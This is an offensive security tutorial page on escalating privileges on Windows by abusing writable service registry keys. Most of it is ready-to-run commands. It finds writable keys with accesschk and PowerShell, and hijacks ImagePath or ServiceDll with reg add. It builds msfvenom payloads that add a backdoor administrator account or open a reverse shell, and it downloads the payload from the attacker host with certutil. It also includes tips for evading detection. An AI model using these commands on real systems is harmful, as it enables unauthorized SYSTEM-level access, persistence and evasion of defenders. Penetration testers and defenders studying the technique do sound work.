# Weak Registry Permissions for Windows Privilege Escalation

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/weak-registry-permissions
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-03-15

Windows services store their configuration in the registry under `HKLM\System\CurrentControlSet\Services\`. If your user has write access to a service's registry key, you can change the `ImagePath` value to point to any binary: effectively the same as service binary hijacking but without needing to touch the filesystem ACL of the binary itself. Changing `ServiceDLL` in service parameters achieves the same via DLL injection.

This technique works when filesystem ACLs are locked but registry ACLs are misconfigured. Third-party software installations frequently create service keys with overly broad permissions. Enterprise environments with legacy software are especially prone. The attack uses only `reg.exe` commands, avoiding the need to drop additional tools to disk. Registry modification events log under Security Event ID 4657, but many environments do not alert on this. Check this vector before reaching for noisier techniques.

You need write access to the service key and the ability to restart the service. Without restart capability, the modified binary does not execute until a reboot or a service manager trigger. Confirm both before building your payload.

- Enumerate service registry keys with `accesschk` or PowerShell ACL inspection
- Modify `ImagePath` or `ServiceDll` to point to your payload
- Restart the service to trigger execution as the service account
- Restore the original registry value after escalation

## Prerequisites Check

```bash
whoami /priv
whoami /groups
```

## Step 1: Find Weak Registry Permissions on Windows Services

accesschk outputs one line per writable key, showing the permission mask and the key path. The service name appears after `Services\` in the path. Run it against your username and against the standard low-privilege groups separately. A group-based check can catch permissions a username-only query misses when the ACE targets the group.

**Using accesschk:**

```bash
# Find service registry keys writable by current user
accesschk.exe -uwkqs %USERNAME% HKLM\System\CurrentControlSet\Services /accepteula 2>nul
accesschk.exe -uwkqs "Authenticated Users" HKLM\System\CurrentControlSet\Services /accepteula 2>nul
accesschk.exe -uwkqs "Everyone" HKLM\System\CurrentControlSet\Services /accepteula 2>nul
accesschk.exe -uwkqs "BUILTIN\Users" HKLM\System\CurrentControlSet\Services /accepteula 2>nul
```

Look for `KEY_SET_VALUE`, `KEY_ALL_ACCESS`, or `WRITE_DAC`. `KEY_SET_VALUE` is the minimum: it lets you write any named value under the key. That is sufficient to overwrite `ImagePath`. `KEY_ALL_ACCESS` is a superset of that. `WRITE_DAC` lets you modify the ACL on the key, so you can grant yourself further rights before proceeding. Any of these three is enough to proceed.

The PowerShell script below uses native Windows ACL inspection and needs no additional binary. Use it when accesschk is unavailable or blocked by endpoint controls. It reports the same information: service name, identity, and the effective rights.

**Using PowerShell:**

```powershell
# Check registry permissions on all services
$services = Get-ChildItem "HKLM:\System\CurrentControlSet\Services"
foreach ($service in $services) {
    $acl = Get-Acl $service.PSPath
    foreach ($access in $acl.Access) {
        if ($access.IdentityReference -match "Users|Everyone|Authenticated" -and
            $access.RegistryRights -match "SetValue|FullControl|WriteKey") {
            Write-Host "WRITABLE: $($service.Name) | $($access.IdentityReference) | $($access.RegistryRights)"
        }
    }
}
```

## Step 2: Confirm the Service Runs as SYSTEM

Not every service runs as LocalSystem. A service running as a virtual account or domain user still allows hijacking. The access you gain depends entirely on that account's rights. A service running as `NT AUTHORITY\NetworkService` gives you network credentials but no local admin. Confirm the account before building your payload. If the service runs as a domain account, check whether it has privileged access elsewhere before deciding to proceed.

```bash
# Check the service's run-as account
reg query "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ObjectName
sc qc VulnerableService | findstr "START_NAME"
```

`ObjectName` of `LocalSystem` or `StartName` of `LocalSystem` confirms SYSTEM execution. A service showing `NT AUTHORITY\LocalService` runs with restricted local rights and no outbound network access. A domain account may still be worth targeting. Check whether it carries admin rights or privileged ACLs elsewhere in the environment.

Before modifying `ImagePath`, record the original value using `reg query`. You need it for cleanup. Use a path under `C:\Windows\Temp` for your payload. That directory is writable by all users and reachable from the SYSTEM context. Avoid paths under user profiles: SYSTEM may not have read access depending on the profile ACL.

## Step 3a: Modify ImagePath

Change the service's binary path to your payload. The service manager reads `ImagePath` on each start. The change takes effect when the service next starts.

```bash
# Check current ImagePath
reg query "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ImagePath

# Modify ImagePath to payload
reg add "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\payload.exe" /f

# Restart the service
sc stop VulnerableService
sc start VulnerableService
```

## Step 3b: Modify ServiceDLL

Some services load a DLL specified in `Parameters\ServiceDll` rather than a standalone binary. Services with an `ImagePath` containing `svchost.exe -k` use this pattern. The `Parameters` subkey is sometimes writable even when the parent key is not, so check it separately. Replacing the DLL is more discreet than replacing a binary. The outer process stays as `svchost.exe`, which is a trusted Windows host process. Endpoint detection is less likely to flag a DLL load from a known host process. If this key is writable:

```bash
# Check for ServiceDll
reg query "HKLM\System\CurrentControlSet\Services\VulnerableService\Parameters" /v ServiceDll

# Modify to point to your malicious DLL
reg add "HKLM\System\CurrentControlSet\Services\VulnerableService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\malicious.dll" /f

# Restart
sc stop VulnerableService
sc start VulnerableService
```

Your DLL must export `ServiceMain` for services that use this pattern. Use a proxy DLL as described in [https://hackindex.io/platforms/windows/privilege-escalation/windows-dll-hijacking-for-privilege-escalation](https://hackindex.io/platforms/windows/privilege-escalation/windows-dll-hijacking-for-privilege-escalation). A DLL that does not export `ServiceMain` causes the service to fail to start. The service manager logs the failure and does not restore the original DLL automatically. The service stays down until you manually restore the registry value.

## Step 4: Create and Transfer Payload

Use `-f exe-service` with msfvenom. A plain executable does not send the service readiness signal the manager expects. The manager marks the service as failed after a short timeout. The `exe-service` format wraps the payload in a service stub that handles the handshake. Transfer the payload before modifying any registry value. Verify the file exists at the exact target path before restarting the service.

```bash
# On attack box
msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe-service -o payload.exe

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o shell.exe
```

```bash
# On target
certutil -urlcache -split -f http://$LHOST:8080/payload.exe C:\Windows\Temp\payload.exe
```

## Step 5: Restore Original Configuration

Restore the original `ImagePath` immediately after your payload executes. A service pointing to a missing or broken binary fails on the next start or health check. Failed starts generate Event ID 7023 and 7024 entries in the System log. On monitored systems, repeated failures can trigger alerts. Restart the service after restoring the value and confirm it enters a running state. If you modified `ServiceDll`, restore that value in the same step. Leave the service running cleanly to minimize your detection surface.

```bash
# Restore original ImagePath
reg add "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Original\Path\service.exe" /f
sc start VulnerableService
```

## References

- [Service Configuration](https://docs.microsoft.com/en-us/windows/win32/services/service-configuration-programs) - Microsoft Docs Registry key structure for Windows services including ImagePath and ServiceDll.
- [accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) - Sysinternals Registry key permission enumeration with KEY_SET_VALUE detection.
